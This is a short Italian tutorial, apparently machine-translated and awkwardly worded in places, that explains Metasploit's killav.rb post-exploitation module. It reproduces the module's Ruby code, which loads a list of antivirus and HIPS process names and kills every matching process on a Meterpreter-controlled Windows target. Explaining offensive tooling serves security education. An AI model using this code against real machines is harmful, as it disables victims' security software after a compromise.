Iniziamo con la comprensione di base, una volta ottenuto un meterpreter si ottiene l'accesso ai moduli di metasploit che eseguono attività di post-exploitation. Ora qualsiasi attività avviata consente di dire killav.rb. Il codice in questo file sta interagendo con il modulo metrestro meterpreter che hai e utilizza RailGun. Railgun è una potente funzionalità di post-exploit esclusiva di Windows Meterpreter. Ti consente di avere il controllo completo dell'API Windows della tua macchina target. Passa l'istruzione al sistema di destinazione.
Lascia che ti dia un'idea del codice di killav.rb
def run
avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
'***av_hips_executables.txt***')).strip
avs = Set.new(avs.split("\n"))
processes_found = 0
processes_killed = 0
client.sys.process.get_processes().each do |x|
next if skip_process_name?(x['name'].downcase)
vprint_status("Checking #{x['name'].downcase} ...")
if avs.include?(x['name'].downcase)
processes_found += 1
print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
begin
client.sys.process.kill(x['pid'])
processes_killed += 1
print_good("#{x['name']} terminated.")
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
end
end
end
Se noti av_hips_executables.txt
(Nota: questo file sarà anche disponibile nella posizione dell'app metasploit /usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt)
Quel file contiene l'elenco di tutti gli eseguibili conosciuti che sono assoggettati ad un Antivirus runnning, il cui codice è puramente per rilevare il suo PID e uccidere il PID. E poiché tutto è passato tramite l'API meterpreter. Non dipende dal lato client se ha rubino o meno.